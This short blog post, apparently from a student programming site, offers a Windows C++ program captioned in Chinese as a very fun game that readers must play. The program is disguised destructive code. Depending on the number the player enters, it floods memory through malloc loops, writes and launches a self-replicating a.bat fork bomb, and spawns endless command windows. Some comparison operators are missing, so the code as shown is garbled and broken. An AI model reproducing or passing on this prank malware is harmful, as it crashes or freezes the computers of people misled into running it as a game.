- BC20270071's blog
真的非常好玩一定要玩他
- 2025-2-21 10:09:55 @
#include<bits/stdc++.h> #include<windows.h> using namespace std;void out(string n,int time){for(int i=0;i<n.size();i++){cout<<n[i];Sleep(time);}}int main(){string x;bool ha=0;out("输入你的名字:",50);string name;cin>>name;system("cls");cout<<"Loading...";Sleep(1000);system("cls");while(1){cout<<name<<",继续输入一个数:";cin>>x;if(x[0]'1'){out("你的电脑受到了10000000000点伤害!\n",30); for(int j=1;j<=1000000;j++){malloc(10000);}}if(x[0]'2'){ofstream outfile("a.bat");outfile<<"start a.bat\n%0";outfile.close();out("已经在你的电脑上安装a.bat\n",30);ha=1;}if(x[0]'3'){if(ha0){cout<<"你还没有安装a.bat,输入2.\n";}else{system("start a.bat");}}if(x[0]'4'){out("你的电脑受到了沉重的打击!\n",30);Sleep(1000);for(int j=1;j<=100;j++){system("start cmd");while(1){for(int i=1;i<=10;i++){malloc(100000000);}}}}if(x[0]'5'){system("color 4F");cout<<"ErRoR..\n";while(1){malloc(10000);}}}}